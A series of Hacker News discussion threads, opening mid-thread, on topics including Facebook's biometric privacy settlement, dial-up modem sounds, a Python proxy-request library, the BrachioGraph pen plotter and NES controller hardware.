<comment><USER11> They ran the facial recognition software without knowing if they had all applicants consent. Ignorance isn't an excuse for breaking the law, the onus is on FB to make sure all people have consented. I would not say that they have done all that they can to check, by just having it in the T&Cs that its' the user's responsibility. They are hiding behind their T&Cs, knowing full well that they could be scanning people they have no consent for.

Comically, once they run the scans, they should be able to certain that they don't have consent because it doesn't match one of their users, and should throw the data away.

<comment><USER12> I think you are expecting too much from FB here.

FB offers a service that allows you to share your pictures with your friends among other things. Before you upload a picture Facebook asks you if you have all of the rights to the pictures you are uploading (albeit they ask that in the fine print of their TOS.) FB offers ancillary services based on those images you shared. If you are uploading images you don't have the rights to how is this FB's problem?

<comment><USER11> It doesn't mean they did their due diligence to confirm their data was clean of non-consenting individuals. They are clearly abusing their users ignorance. Signed T&Cs of one person shouldn't be enough when you're dealing with PII of multiple people in my opinion. You need everyone's explicit consent.

There is a disparity here between real world and software services I think. When my real estate agent's software asked me to put in my room mates details, I just had to check a checkbox that said he consented. Yet when it came to the paper contracts, we all had to sign individually. We need the latter for software, else PII is going to keep spilling all over the place and we'll forget we ever had privacy.

I don't think it's unfair to scrutinize a company in such a powerful position as FB either. They know they have unconsenting people in their photo database, it's just inevitable, and they are hiding behind their T&Cs hoping it's enough in the court of law. Ethically, they've failed already, and clearly in some states they're breaking the law too.

</comment></comment></comment></comment></comment></comment></comment></comment></comment><comment><USER13> While it's very sad to hear this staggering sum called a 'rounding error' and a blip on Facebook's radar, I'm still happy about this news. It shows that fighting back legally is possible so the day we all have to wear recognition- scrambling patches is not as nigh as it could be. Just wish other places would amp up their privacy laws so Facebook would get more than occasional slaps on the wrist.

<comment><USER14> It's not a blip. It's part of a pattern including GDPR fines that has a certain weight. At the end of the day any fine hurts shareholders at least a little but even if fines get so high that profit is decimated and stock plunges, as long as incurring fines is more profitable than other business tactics, and there is enough free cash flow to make liquidation unprofitable to private equity / corporate raiders Facebook will continue operating as it does.

Same as for any business.

</comment></comment><comment><USER15> Opt-out link:

[https://www.facebook.com/settings?tab=facerec](https://www.facebook.com/settings?tab=facerec)

<comment><USER16> How would that work for people who do not have a FB account?

<comment><USER17> I don't think someone without an account can be tagged in a photo. More importantly, the recognition engine will not find them, afaik.

<comment><USER18> Isn't Facebook known for building shadow profiles on non-users?

</comment></comment></comment></comment><comment><USER19> > David Wehner, Facebook's chief financial officer, noted in an earnings call > with investors that the settlement added to the social network's rising > general and administrative costs, which increased 87 percent from a year > ago.

So he literally just framed this as a 'cost of doing business'?

<comment><USER20> There's 4 broad buckets of costs for most companies - g&a (general and administrative), s&m (sales and marketing), r&d, and cost of revenue.

The cost has to be classified into one of these buckets and so the CFO was probably just clarifying into which bucket they lumped it.

This is part of the point of generalized accounting is so everyone gets a similar basis compare companies.

<comment><USER21> > The cost has to be classified into one of these buckets

Either PR was not consulted or they don't understand how this comes off.

<comment><USER22> I'm not fan of Facebook, but here it is in context:

> Total expenses were $12.2 billion in Q4, up 34%.

> Cost of revenue increased 25% and the growth was driven primarily by > depreciation related to our infrastructure spend.

> R&D grew 36% and was driven primarily by increased investments in core > product as well as our innovation efforts, particularly in AR/VR.

> Marketing and Sales grew 23% and was driven primarily by consumer and growth > marketing.

> Finally, G&A grew 87%, largely driven by higher legal fees & settlements. > This includes charges related to a $550M settlement in principle we reached > this month in connection with the Illinois Biometric Information Privacy Act > litigation.

This is standard for earnings calls. The point is for the CFO to add detail to the generally accepted accounting principles (GAAP) financial numbers so that investors understand why they changed. As @joez mentioned, companies have to report financial numbers according to GAAP, which mandates that companies disaggregate costs into specific areas. Both good and bad companies face lawsuits all the time, and the legal fees and settlements will show up in G&A. If G&A expenses change in an unexpected way, it is expected that the company will communicate why.

There's definitely a lot that goes into crafting these calls, but having listened to and read more than a thousand of them, I don't think there was anything poorly done in this specific example.

</comment></comment></comment></comment><comment><USER23> 7% of yearly profit doesn't sound like a rounding error to me.

<comment><USER24> Last year FB's profit was 22 billion so that's less than 3%

</comment></comment><comment> 33MHz-i486 biometrics of the face, body or eye are mostly simple algorithmic transformations of photographic images. I find it hard to believe that "biometric data gathering" of Illinois residents can have massive civil liability without effecting all public photography and publishing thereof.

there's also the catch-22, that if an entity is pursuing legal collection outside of Illinois (for example of the Flickr dataset from the IBM case) it has no way of knowingly excluding Illinois residents without identifying them by using an (illegal) facial recognition dataset in the first place.

</comment><comment><USER25> Archive link: [https://web.archive.org/web/20200129235635/https://www.nytim...](https://web.archive.org/web/20200129235635/https://www.nytimes.com/2020/01/29/technology/facebook- privacy-lawsuit-earnings.html)

</comment><comment><USER26> To put in perspective that's like paying 10k per FB employee of fine in a single year.

<comment><USER27> And to put that into perspective, their total spending is over 1,000k a year per employee.

<comment><USER28> Neither of these helped put anything into perspective for me. I don't know how many FB employees there are. Even if I did, I don't know how much they're being paid. And even if I knew that, I don't know how much FB makes per year.

<comment><USER27> Discussed earlier: [https://news.ycombinator.com/item?id=22186790](https://news.ycombinator.com/item?id=22186790)

In any event, the main point was that the fine is 1/100 of yearly spending.

</comment></comment></comment></comment><comment><USER29> FB: Lets face it, were here to make money. It was cost effective to settle and move on.

<comment><USER30> Did you expect them to fall on a sword and commit seppuku? Obviously they did the most cost effective measure. Why try to snidely vilify them for acting according to the law in payment for their illegal acts? Vilify them for the illegal and unethical acts. Settling a lawsuit is neither of those and is a core part of our legal process.

<comment><USER31> Parent comment contained no snide vilification.</comment></comment></comment>


The sound of the dialup, pictured - <AUTHOR> http://windytan.blogspot.com/2012/11/the-sound-of-dialup-pictured.html

<comment><USER2> When I was growing up, my buddy's dad happened to be an old Berkley unix guru greybeard mad scientist type who told great stories of dumpster diving and the olden days. I was running a BBS at the time, and he told me stories of working in a modem manufacturing facility in QC. According to him, they would whistle into the receiver of each modem in order to test that it was at least minimally operational. I tried this a number of times by dialing into my BBS and got good enough to be able whistle up a 9600baud connection. I don't know why, but I really relished getting that rush of static noise after connecting successfully.

</comment><comment><USER3> The blog is fantastic, really -> <http://windytan.blogspot.it/>

<comment><USER4> I like it too. Thanks for sharing. :)

</comment></comment><comment><USER5> The audio file on wikimedia commons provides automatically transcribed closed captioning that is unintentionally hilarious. The Portuguese subtitles include "Tchaaaaahhh puaaaoooooaaahhhhh" and "sshhhhhhshshhhhhhh." [http://commons.wikimedia.org/wiki/File:Dial_up_modem_noises....](http://commons.wikimedia.org/wiki/File:Dial_up_modem_noises.ogg)

<comment><USER6> Are you sure those were automatically transcribed? [https://commons.wikimedia.org/w/index.php?title=TimedText:Di...](https://commons.wikimedia.org/w/index.php?title=TimedText:Dial_up_modem_noises.ogg.en.srt&action=history) says they were uploaded by an anonymous user. I think this is a joke created by a human.

</comment></comment><comment><USER7> I started with a 300 bps modem (Novation AppleCat II, it could actually do 1200 half-duplex to another AppleCat II). From there a 2400 bps modem, then a 9600, then finally a 56k before I had ISDN, DSL, etc.

I remember the evolution in tones but never knew what they were till I took a signaling class in college. One of the projects in that class was to build visual transmitters. We'd stand outside a few hundred yards apart and see how fast we could transmit a message to a partner. The trick to being fast was encoding multiple bits in each symbol, but not so many you'd fumble around grabbing the next symbol. I think my transmitter encoded 2 bits at a time (so four symbols).

Aside, the Apple Cat II was a fascinating modem - <http://www.jammed.com/~jwa/Machines/cat/>

<comment><USER8> The early modems I had access to were 300/300 or 1200/75.

Ah! V.23.

The 75 baud backward channel of 1200/75 was good enough to keep up with typing so it was my preferred speed when accessing various things remotely where I never needed to send large amounts of text/data but had lots of data coming back the other way.

</comment></comment><comment><USER9> What I never understood is why the modem plays this through its speakers instead of some other tone that lets us know that it is connecting. Any explanation?

<comment><USER10> From what I've understood it's so you can identify if the line is, in fact, a modem. Easy to diagnose the issue when you hear "Mach Pizza, can I take your order?" coming through the speaker

<comment><USER6> Agreed. I've already witnessed Windows making a modem call the fire brigade emergency number (probably because it was confused about the country I was in). Woops.

</comment></comment></comment><comment><USER11> I wanted to see where in the spectrogram the sound was as it was playing, so I threw together this quickie jsbin to make it happen: <http://jsbin.com/amunug/10>

Useful for anyone else who wants to be able to match the sounds and pictures, I hope!

<comment><USER12> Your image wasn't loading for me, so I updated with the correct (for me) URL. <http://jsbin.com/amunug/7>

<comment><USER11> After a bit of back and forth, here's a working one with a persistent image link and the proper proportions <http://jsbin.com/amunug/17> :)

</comment></comment></comment><comment><USER13> It worries/amazes me that along with all the nostalgia that this thread has brought up, it's made me realize I can still remember parts of my 28.8k modem's initialization string. AT&F&C1&D2 from memory.

Reading someone else's post about the Apple Cat II just reminded me of the sheer joy of experimentation at the time. While what we have now was what we were ultimately striving for and would have switched to in a heartbeat, I'm glad for the experience I gained at the time. And I didn't know better so I still loved it :)

I just want to know how I got my first BBS numbers - I was visiting NZ when I got my first modem, and somehow got hold of some local numbers and then found other BBSes from there... but how did I get the first one?

<comment><USER14> It was all word of mouth back then. I grew up in nz and while I didn't have a modem back in the bbs days, my best friend did. I distinctly remember cycling over to one of the bbs operators houses to pay him for extra access (he had two lines). Quite magical times really.

</comment></comment><comment><USER15> Got a wave of nostalgia from that, except that the line tests at the end are slightly different than the warbles my modem used to play. It's been years and I can still remember the difference between a 28.8k and 56.6k connection sound.

</comment><comment><USER16> It's fascinating; what we would consider an ancient piece of technology performs a wide variety of tricks to overcome the optimizations done by telephone networks. I especially liked the part where they transmit data in order to measure the status of the phone line.

<comment><USER17> These modems are from 1999 or later, so not exactly ancient. Now I'm wondering if the limit to modem speeds in the 80s and 90s was encoding design or the cost of DSPs to implement more advanced encodings.

<comment><USER18> I think it's mostly due to the fact that modems used just the audio bandwidth of the telephone line, which is about 3 kHz (by design). This limits the maximum speed, earlier versions probably had problems with transceiver complexity.

</comment></comment></comment><comment><USER19> Acoustic Couplers. The bane of my early childhood. When "real" modems came on sale, it was like the heavens opens and angels sang. For those old enough, you know what I am talking about. It really is a wonder that this type of communications caught on at all when it started with acoustic couplers.

<comment><USER20> Ah, the old Bell system and Carterfone, though to be honest people still used these later on for things like payphones.

</comment></comment><comment><USER21> The phone number dialed in this appears to be +1 570 234 0003.

<comment><USER22> To reveal the magician's secret: the lower tone indicates the row on the phone keypad, and the higher tone indicates the column. So on a keypad, the first four digits 1-5-7-0 consecutively goes down the keypad's rows and alternate between the first and second column, and you can see that same pattern in the picture.

IOW, each digit plays a two-note chord indicating the row and column on the keypad.

EDIT: <http://en.wikipedia.org/wiki/Telephone_keypad>

</comment></comment><comment><USER23> Brilliant. This is something I have wanted to know for many years.

</comment><comment><USER24> Slightly related, Looper's Modem Song: <http://www.youtube.com/watch?v=i3VzSv4ErEg>

</comment><comment><USER25> A better way to picture a dial-up modem's sound is as a digital communication constellation. Modems likely used BPSK, QPSK, 8-PSK, 16-QAM, etc modulations. For a theoretical example, see <http://en.wikipedia.org/wiki/Quadrature_amplitude_modulation>

<comment><USER25> Actually, a little research showed that a 56k modem uses PCM and PAM modulation schemes: [http://www.eetimes.com/design/communications- design/4018048/...](http://www.eetimes.com/design/communications- design/4018048/An-Introduction-to-the-V-90-56K-Modem)

So primitive...

</comment></comment><comment><USER26> The current diagram version is missing those funky sounds starting at 21.50 sec

</comment><comment><USER27> I love the commentary added in the image, it makes the modems' negotiation sound like a bragging competition.

</comment><comment><USER28> Very nice graph, does anyone know which tool to generate such a graph?

<comment><USER29> The graph is a spectrogram: <http://en.wikipedia.org/wiki/Spectrogram>

You've probably seen one before in relation to music. However, since we're dealing with computer-generated tones here, the spectrogram looks very very sparse (few overtones). You can see patterns in music as well, just not as clearly (because there's a lot more going on).

If you'd like to make your own, consider looking into GNU Octave (<http://www.gnu.org/software/octave/>) or possibly Scilab, both of which are free.

EDIT: I might add that Audacity can easily view the spectogram of a sound file, but if you want to manipulate the signal programatically (filters and so on; signal processing is a great subject), try the above.

</comment></comment><comment><USER30> So - I've always wondered, but never looked into this..

Why does dial-up always sound the same? That clip is exactly how I remember my modems sounding!

Edit: Hah, Scroll down Kiall, scroll down.</comment>


A rational argument for panic: coronavirus edition - <AUTHOR> https://medium.com/@FaustianDilemma/a-rational-argument-for-panic-coronavirus-edition-e25eec64e310 <comment><USER2> This article, and other writings on covid-19 I have read recently, makes the weird choice to treat "panic" and "take threat seriously" as synonyms. As far as I can tell, they aren't. If you look up panic in your favorite dictionary, the definition probably looks like "sudden fright _that causes irrational behavior_ ". It may be "time to take covid-19 seriously", it is never "time to panic".

Those semantics aside, the article does make a reasonable case for taking covid-19 seriously. One sticky point: that graphic with the rather scary looking USA infection projections is not from "the AHA", it's from a webinar presentation hosted by the AHA [1]. The presentation is, as far as I can tell, not an official endorsement by the AHA. That said, the presenter was James Lawler [2], who does seem to be some variety of expert on global health risks. How optimistic or pessimistic he is relative to comparable experts, I don't know.

[1] [https://www.independent.co.uk/news/world/americas/coronaviru...](https://www.independent.co.uk/news/world/americas/coronavirus- dr-james-lawler-warning-us-hospitals-infection-a9385031.html)

[2] [https://www.unmc.edu/intmed/divisions/id/faculty/lawler.html](https://www.unmc.edu/intmed/divisions/id/faculty/lawler.html)</comment>


Deep Reinforcement Learning (David Silver, Google DeepMind) [pdf] - <AUTHOR> http://www.iclr.cc/lib/exe/fetch.php?media=iclr2015:silver-iclr2015.pdf

<comment><USER2> Pac man with DRL in action

[https://www.youtube.com/watch?v=62yr87NdP2k](https://www.youtube.com/watch?v=62yr87NdP2k)</comment>


"You're stupid looking, do something else" - one man's persistence - <AUTHOR> http://blog.inklingmarkets.com/2010/03/your-stupid-looking-do-something-else.html

<comment><USER2> According to many who worked on that movie, the story told here about Stone's refusal of huge sums for _Rocky_ and insistence that he be the star is a "near-total fabrication": [http://www.hollywoodtoday.net/2006/12/20/rocky- story-reveale...](http://www.hollywoodtoday.net/2006/12/20/rocky-story- revealed-a-studio-myth/)

<comment><USER3> Why aren't there laws against lying? Why isn't this fraud or false advertising? Why are people able to lie to sell? What would the world be like if lying was a criminal act without an oath required? Why is it okay to lie outside the courtroom, but not inside it?

<comment><USER4> Do we really want to eliminate lying with a broad stroke? Is ALL lying bad?

<comment><USER3> When is lying _not_ bad? White lies? When they "protect" someone? Is an inability to receive honesty something we want to protect?

<comment><USER5> Why did you put protect in scare quotes? Miep Gies protected the Franks by lying to the Gestapo. OK, they were the government, but you could protect someone by telling the killer that he's not home. Or do you disagree? So yes, an inability to receive honesty is something we want to protect.

<comment><USER3> Good points. I put protect in quotes to protect egos with questions like "how do i look?"

</comment></comment></comment></comment></comment></comment><comment><USER6> The interesting part is the video about Sylvester Stallone's perserverance for becoming an actor. Here's a summary:

* Knew without a doubt he wanted to be an actor. People told him "you look stupid." He was thrown out of agent's offices over 1500 times.

* Got his first job sitting in the office of an agent overnight. Played a thug that beats someone up for 20 seconds.

* Didn't have any money, wife wanted him to get a job, but he wouldn't because "I knew that the only way I would make it was if it was my only choice."

* Went to the public library one day because it was warm (didn't have money for heat). Started reading an Edgar Allen Poe book, which inspired him to become a writer.

* Wrote a bunch of screenplays, still broke. Finally sold one for $100.

* Was so broke, he sold his wife's jewelry. That was the end of their relationship.

* Couldn't afford to feed his dog, so he sold his dog - his best friend - for $25. Later that night saw a boxing match and was inspired to write Rocky.

* Was told the screenplay was "stupid, sappy, etc." Wrote down all of those things and read them the night Rocky won an Oscar.

* Was eventually offered $125k for his script. But he demanded to star in it. Eventually after refusing even more money, they agree to pay him $35k and let him play Rocky.

* Desperately wanted his dog back. Bought his dog back for $15k and a part in Rocky (for the guy he bought it back from).

<comment><USER7> The Hollywood Today post seems to cast all of that in doubt. And now I wonder how much of that interview in Writer's Digest that I cite below was true too. People like true underdog stories. Fake underdog stories are simply despicable.

</comment></comment><comment><USER3> In Stallone's case, persistence led to a great product that he eventually sold. If you already have a great product, persistence may be a signal to customers or investors that you are serious. If you haven't built anything before or have only been at it for a little while, people simply won't believe you -- and why should they? How can you _prove_ that you are serious about your venture?

The persistence is sometimes about patience. My grandmother tells me frequently, "Every business man I know says it took him 5 years to build his business." It takes 5 years, because anything less than that isn't significant in the minds of customers. You need a track record. You need to prove your belief in yourself through your commitment to your ideas.

If you can't convince yourself that your idea is great, why should someone else believe it is great enough to buy and trust to exist for another year or two? If it's existed for 5 years, it'll probably exist another one year, then two more and eventually, it's just always around.

Of course this doesn't matter as much for a simple product that you buy and go, but with enterprise products or products where the customer is establishing a relationship with you, it's important to prove the stability and viability of that relationship.

</comment><comment><USER7> If you become curious and want to know more about Stallone, this is worth digging up:

[http://ebooktest.wordpress.com/2010/01/19/note-to-self- sylve...](http://ebooktest.wordpress.com/2010/01/19/note-to-self-sylvester- stallone/)</comment>


A disturbing report from the front lines of the war on cancer - <AUTHOR> http://www.newyorker.com/magazine/2015/12/14/tough-medicine?mbid=social_facebook <comment><USER2> The submitted article is quite interesting. It is a review of the new book _The Death of Cancer: After Fifty Years on the Front Lines of Medicine, a Pioneering Oncologist Reveals Why the War on Cancer Is Winnable--and How We Can Get There_ by Vincent T. DeVita,[1] and includes many surprising details from the book's account of the history of cancer treatment research. We see a lot of gee-whiz submissions to Hacker News of press releases about untested "cures" for various diseases, many of which have not proven effective over the years that I have been reading Hacker News. If you are curious about how new medical research findings turn into standard medical practice--or don't--you will enjoy reading the article submitted here. I think I will read the book, as I grew up with a parent who was involved in cutting-edge medical research.

[1] [http://www.amazon.com/The-Death-Cancer-Pioneering- Winnable/d...](http://www.amazon.com/The-Death-Cancer-Pioneering- Winnable/dp/0374135606)

</comment><comment><USER3> The trouble with talking to doctors about cancer is that they are in the business of the possible; the bounds of their world are, rightly, what can you do better with what you have today. But for cancer what you have today is a set of pretty terrible tools, and there really isn't much that can be done to make them very much less terrible other than research and development of new tools, the very thing that isn't in the remit of most doctors.

This is one of those situations where you have to look forward.

I think I'm willing to wager that first things worthy of the name cure for cancer will involve temporary suspension of all methods of lengthening telomeres. Not great for you, but worse for a cancer, and you can wait out its withering away. The technology exists now to suppress telomerase and the known ALT gene products via RNAi or similar, with the only challenge being to solve the problem of reliable tissue coverage every time. All cancers depend on telomere lengthening, no exceptions. The real path to the defeat of cancer is to find commonalities, to escape this business of one therapy, one team, one large budget, one ten year hit-and-miss development process for every single one of hundreds of narrow subtypes of cancer. The commonalities don't get more common than telomere lengthening.

</comment><comment><USER4> This seems to be one of those broad "change the research culture and its rules" essays rather than anything about a specific technology or scientific insight that could truly cure cancer.

<comment><USER5> thanks for summarizing

</comment></comment><comment><USER5> typical bait question that takes you to a super long and convoluted article

<comment><USER6> The mis-quoted headline here doesn't help at all.

Currently on HN: "How to Cure Cancer".

The actual headline: "Tough Medicine - A disturbing report from the front lines of the war on cancer."

The HTML <title> is indeed "How to Cure Cancer". I wonder if it was changed?

<comment><USER7> It was the HTML doc title, always a legit candidate for original title on HN. In this case, baity though, so we've changed it to one of the alternates.</comment></comment></comment>


Everything You Ever Wanted to Know About Sequence and Collection - <AUTHOR> https://realm.io/news/try-swift-soroush-khanlou-sequence-collection/ <comment><USER2> Great talk. Can you please elaborate how the use case for APIErrorCollection ?</comment>


Why developers don't care about security - <AUTHOR> https://franklyspeaking.substack.com/p/frankly-speaking-9820-developers <comment><USER2> Developers don't care about security because the business pays them and the business only cares about output.

Sure, the security budget is defined, but they typically leverage a developer ad an ASC to do most of the work as an above-and-beyond effort while paying them the same amount.

That's been my experience.</comment>


The Fusion Reactor Next Door - <AUTHOR> https://www.nytimes.com/2019/05/13/business/fusion-energy-climate-change.html <comment><USER2> I know next to nothing about physics - is this even theoretically possible? The article states the goal is to build a machine that "generates more power than it takes in" \- doesn't that violate a fundamental law?</comment>


Make anonymous HTTP GET requests with proxies via Python - <AUTHOR> https://github.com/rootVIII/proxy_requests <comment><USER2> Anonymous to the target website at best.

No one should be expecting privacy if proxies are the only solution you rely on.

[https://www.whonix.org/Comparison_Of_Tor_with_CGI_Proxies,_P...](https://www.whonix.org/Comparison_Of_Tor_with_CGI_Proxies,_Proxy_Chains,_and_VPN_Services)

"Conclusion

Proxies have a high susceptibility of misusing and stealing user data: Many proxies (HTTP/HTTPS/SOCKS) are PCs hijacked by hackers or criminals, or honeypots exclusively offered for the purpose of user observation. Even if they were legitimate, a single operator can decide to enable logging. Additionally, some proxies automatically give your IP address away to the destination server.

Proxies offer, at best, only weak protection against destination website logging, and they offer no protection from third party eavesdropping. Their use is discouraged"

A good starting point if you wish to appreciate privacy more is: [https://www.whonix.org/wiki/Security_Guide](https://www.whonix.org/wiki/Security_Guide)

Also look into Qubes OS: [https://www.whonix.org/wiki/Qubes](https://www.whonix.org/wiki/Qubes)

<comment><USER3> What's the best way to browse the web anonymously?

<comment><USER4> Full anon is very hard. If you have to ask you're not going to be able to pull it off. I did a contract once where my client had to deal with some really scary people.

The steps I took were so extreme. Cash phone, burner computer, custom proxies, relays, delays, fake data, fake traffic.

And you still never know.

Your adversary could have something you didn't even think of and you get owned anyway.

If all you want to do is avoid tracking scripts from companies, however, use a VM on another user account on your computer and write up a script to light up a new DigitalOcean droplet automatically when you browser. Cycle the IP frequently and use a bunch of different VMs with different browsers and OSes. It's enough for 99.99%.

</comment></comment></comment><comment><AUTHOR> Fixed a slight bug... it should not ever leak your IP... And you do not lose HTTPS with this module whatsoever

</comment><comment><USER5> Uses the list of free proxies from here: [https://www.us- proxy.org/](https://www.us-proxy.org/)

</comment><comment><USER6> Anonymous to anyone but the operator of the proxy and you also lose HTTPS so....

P.S. proxies do not completely mask DNS requests so timing analysis is still possible for uncached requests.

And worse the payload returned can be used to unmask the user behind a proxy e.g. redirect to uniqueid.myhost.com my honey pot does that to unmask requests originating from TOR or from proxies and it's quite successful.

<comment><USER7> You're saying people using Tor make unmasked DNS requests? Are these users using some non-standard configuration? Because I'm pretty sure the Tor browser protects against that.

<comment><USER8> It does but anyone hitting a honey pot server most likely won't be doing it within Tor browser. It's easy to send traffic via Tor's socks port but forget about DNS lookups.

</comment></comment></comment><comment><USER9> Note that several of those proxies leak the client ip through error pages, even if they are marked "anonymous".

Additionally, some proxies don't even try to be anonymous and transmit the client ip in the "X-Forward-For" http header field.

<comment><AUTHOR> Bug fixed! It will not leak anymore

</comment></comment><comment><USER10> There was a good thread here about scraping and the use of paid proxy services. Seems like free isn't a solution for anything at scale.

</comment><comment><USER11> Cool!

The proxies from this list don't usually last that long, so you might have connection problems.

<comment><USER12> What is the average shelf life of these free proxies in your estimation?

<comment><AUTHOR> The page seems to be updated every 10 mins or so. Any time a request is made, the newest procies are scraped:)

</comment></comment></comment><comment><USER12> I was literally about to write this same program in nodejs for a client's scraping project. Serendipity at its best.

Mine's a bit different though because I need to discard proxy server IPs that are flagged by cloudflare on target sites and only be left with those that work flawlessly. This should be done every couple of hours to ensure the 'freshness' of the proxy server IPs that I have.</comment>


Monoids? In my programming language? - <AUTHOR> http://www.rubinsteyn.com/monoids.html

<comment><USER2> Was a bit disappointed, I expected some actual application of the algebraic theory here.</comment>


Show HN: BrachioGraph, an easy-to-build pen-plotter, driven by Python - <AUTHOR> https://www.brachiograph.art <comment><AUTHOR> Full details of the project, including all the code and documentation, are posted at [https://www.brachiograph.art](https://www.brachiograph.art).

This is my attempt to do something with the Raspberry Pis and cheap servo motors I've had hanging around that's both genuinely interesting and also as simple and cheap as possible. Robotics isn't my subject, but I wanted to make something.

The total cost of hardware (excluding the clothes-peg, pencil and things you will find in a kitchen drawer) is €14. You could build the whole thing in about an hour, it's a fun thing to do with a child, and they love the fact that it's made from household materials.

One thing I like about it is that it's all 'wrong' \- you are not supposed to use servos or electronics like this, and it's not what a 'real' engineer would do - but it still works well enough to be fun.

The cost and simplicity are really important because this project has come with me to events like PyCon Africa ([http://pycon.africa](http://pycon.africa)) and PyCon Namibia ([https://na.pycon.org](https://na.pycon.org)) where not everyone has easy access to labs and hack-spaces and electronic hobby shops, and many people have to learn and experiment on much smaller budgets.

There's some custom Python code: [https://github.com/evildmp/BrachioGraph](https://github.com/evildmp/BrachioGraph) and contributions and issue reports are welcomed. And it's on Twitter: [https://twitter.com/BrachioGraph](https://twitter.com/BrachioGraph).

If you build one yourself, please send me a picture!

<comment><USER2> This would be a better link to have the article reference.

<comment><USER3> Ok, we've changed the link from [https://vimeo.com/372867891](https://vimeo.com/372867891).

</comment></comment></comment><comment><USER4> I'm a big fan of ink, since it gives better contrast. Can the python software be adapted to not drag across freshly drawn lines? Are there pens that work better in that context? I've got some parts laying around and I just might build this. Plus, it will make my brother-in-law sad that he spent > $100 for some kind of plotter he uses on a whiteboard.

<comment><AUTHOR> It works fine with every kind of drawing implement I have tried:

* pencil * charcoal * ball-point (needs additional weight on the pen) * roller-ball * felt-tip * fibre-tip

It draws so slowly that there's no issue about waiting for the ink to dry.

But what I like best is soft pencil on slightly textured paper.

Daniele

</comment></comment><comment><USER5> Previous discussion about the documentation for this project: [https://news.ycombinator.com/item?id=21281525](https://news.ycombinator.com/item?id=21281525)

</comment><comment><USER6> What are the "standard" algorithms for vectorizing bitmap lines?

I'd had a little art project where I wanted to draw lines on the wall and then have them captured by a camera and vectorised .. preferrably "minimized" to be as few vectors as possible. I couldn't really design an algorithm that was satisfactory and I didn't wanna just hack it with some heuristics

I see they're doing it here with an edge detector - anyone have any insight how it's done? Is this a solved problem in computer science?

</comment><comment><USER7> A link to the project page with HowTos won't hurt - [https://www.brachiograph.art/](https://www.brachiograph.art/)

</comment><comment><USER8> Cool project!

Feature-creep: I can't help wondering if there would be ways to improve the precision enough to make for instance PCB's without increasing the complexity/cost to much..

<comment><AUTHOR> Not with these servos or this mechanical arrangement, that's for sure. But, it's very interesting to think of ways to improve the precision of imprecise hardware, using only software.

<comment><USER9> Could be really interesting to add cheap cameras and OpenCV to this concept!

</comment></comment></comment><comment><USER10> Fantastic. Thanks. This will be my next project.</comment>


Show HN: Virtual mobile handshakes to keep the Olympic germs away. - <AUTHOR> http://www.cleanshakeapp.com/

<comment><AUTHOR> Any thoughts or ideas would be helpful.</comment>


Nintendo Controller Teardown - <AUTHOR> https://www.fictiv.com/resources/starter/hardware-dna-nintendo-teardown <comment><USER2> I'm biased since I'm an EE, but to me the real magic in game controllers is the mechanical/materials/manufacturing engineering that goes into making the buttons feel right and have consistent responsiveness. This is what most third-party controller manufacturers seem to get wrong, even (or perhaps especially) when they clone the basic shape and layout of a well-known controller.

That said, one of the cool things about how they designed the NES and SNES pads electrically/logically is that an SNES pad will actually work with an NES if you make an adapter for the different connectors, since it's the same protocol with a different number of data bits clocked. But the best part is that they didn't simply add X, Y, L, and R at the end of the bit stream for the SNES pad; instead they transposed it so that SNES Y is NES B and SNES B is NES A, which translates the common idioms used in action games on the two systems.

<comment><USER3> Couldn't agree with you more! I am amazed at the precision of modern controllers considering how complex they are. The fact I can pick up any Dual Shock or Xbox 360 controller and it feel just like every other one is pretty mind blowing. Sure over time they develop their own little habits but out of the box they are almost clones (with the exception of ones that should have failed QA but somehow shipped).

<comment><USER4> "The fact I can pick up any Dual Shock or Xbox 360 controller and it feel just like every other one is pretty mind blowing."

I totally agree with the gist of your statement but as someone who has an absurd amount of Xbox 360 controllers I'm positive that they changed the components at least twice in the standard controllers (not including the obvious redesign of the gray special D-pad controller or all the various special editions) in ways (weight distribution, outer materials) that you can totally feel without taking the controller apart.

I haven't researched this to know if this was due to changes over time or different factories or what but of the 9 or 10 controllers I had over the years (used on both the actual Xbox 360 and a PC) there were 3 distinct different types of feel that were subtle but obvious if A/B testing.

</comment></comment></comment><comment><USER5> Hmm, I am not 100% sure, but I recall the NES gamepad uses an 8 bit shift register not a microcontroller.

<comment><USER6> Yup! It's a humble 4021N.

<comment><USER7> Yes! Also goes by part number 74LS165 (edit: actually they are just similar) [1]. Here's how to use it in your game code: [http://wiki.nesdev.com/w/index.php/Standard_controller](http://wiki.nesdev.com/w/index.php/Standard_controller)

Basically you write high voltage to the "strobe" line of the shift register in the controller, putting it in a state where it continuously updates to reflect current button presses. Once you remove the high voltage, it "freezes" its 8-bit state representing whatever combination of the eight buttons were last depressed, and then you make 8 successive reads from the shift register's serial line, reading off the state 1 bit at a time. It's up to the game software to be robust against bouncing, as well as against a tricky hardware bug where the DMC module of the NES's audio processing unit conflicts with the latching mechanism used by the controller's serial line. Needless to say, this must all be emulated by accurate NES emulators, too :)

[1] [http://www.datasheetcatalog.com/info_redirect/datasheet/phil...](http://www.datasheetcatalog.com/info_redirect/datasheet/philips/74HC_HCT165_CNV_2.pdf.shtml)

<comment><USER8> Look closely, the '165 is a little different, both in functionality and pinout. You'll not be able to swap in one for the other. -- But yes, both are parallel in, serial in/out shift registers.

[http://www.nxp.com/documents/data_sheet/HEF4021B.pdf](http://www.nxp.com/documents/data_sheet/HEF4021B.pdf) [http://www.nxp.com/documents/data_sheet/74HC_HCT165.pdf](http://www.nxp.com/documents/data_sheet/74HC_HCT165.pdf) (pinout for LS is the same)

</comment></comment></comment></comment><comment><USER9> The 16 pin "microcontroller" in the NES controller is actually an 8 bit parallel-in/serial-out shift register.

<comment><USER9> By the way, the SNES controller also uses a shift register, not a microcontroller.

</comment></comment><comment><USER10> Here's a blog post I wrote about how the joystick of the Nintendo 64 works, electrically speaking: [http://dpedu.io/article/2015-03-11/nintendo-64-joystick- pino...](http://dpedu.io/article/2015-03-11/nintendo-64-joystick-pinout- arduino)

</comment><comment><USER11> It's pretty impressive to look at and consider the differences in the complexity of the circuit boards in successive generations.

It would be very interesting if someone had a chart of BOM costs for the various controllers and systems, to see if the budget for controllers has changed since the NES/Famicon days.

Also of course, if Nintendo really wanted to make a killing, putting the original NES in a controller and selling that with an HDMI port on the end would be sweet. I'd pay $50 for a low-hassle, no-legal-ambiguities way to play NES games with my kid.

<comment><USER12> The Classic Controllers on the Wii (and WiiU, I suppose) aren't bad. Good, precise dpad, quick switching between face buttons. A kind of updated classic feel. You can buy quite a few NES games for those systems, among others.

